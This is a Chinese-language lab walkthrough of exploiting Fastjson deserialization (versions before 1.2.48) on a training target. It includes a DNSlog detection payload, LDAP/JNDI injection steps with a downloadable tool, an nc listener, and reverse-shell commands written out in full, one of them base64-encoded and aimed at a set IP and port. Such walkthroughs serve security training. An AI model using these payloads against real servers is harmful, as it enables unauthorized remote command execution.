前言
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
利用工具:http://tools.hetianlab.com/tools/fastjsonRCE.zip
漏洞验证
靶机地址:我是在合天网络安全实验室
访问靶机:http://ip:port,即可看到一个json对象被返回,使用BP抓包,右键选择change request method我们将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析,然后右击选择send to repeater方便后期操作。然后选择 Repeater标签
那么如何去识别网站是否使用了Fastjson组件呢?
这里可以使用原始报错回显,如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样。
输入:{"name":"
首先从dnslog获取一个域名,常用的dnslog有:http://www.dnslog.cn/,https://dnslog.io/,http://ceye.io/
然后执行检测poc:{"name":{"@type":"java.net.InetAddress","val":"获取到的地址"}}
原理是 java.net.InetAddress 这个类在实例化时会尝试对 example.com 做域名解析,这时候可以通过 dns log 的方式得知漏洞是否存在了。
漏洞利用(获取服务器shell)
我们这里通过ldap+jndi注入的方式实现RCE,基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
下载利用工具:http://tools.hetianlab.com/tools/fastjsonRCE.zip
解压后进入cd到文件夹里面运行
java -cp fastjson_tool.jar fastjson.HLDAPServer 本机IP地址 端口号(随意)"bash=/bin/bash -i >& /dev/tcp/本机IP/监听端口 0>&1"
有些时候 需要把反弹命令改成base64编码
新建一个命令窗口监听shell反弹的端口:
nc -lvp 监听端口
然后把java -cp 运行的 payload 复制粘贴到BP中运行
点击GO即可得到shell
base64格式
这里使用python将反弹shell的命令进行base64编码
然后执行命令启动ldap服务器(注意,base64编码的反弹shell命令替换到花括号里echo,后面)
java -cp fastjson_tool.jar fastjson.HLDAPServer10.1.1.148 1234 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTQ4LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"
其他步骤和上面的一样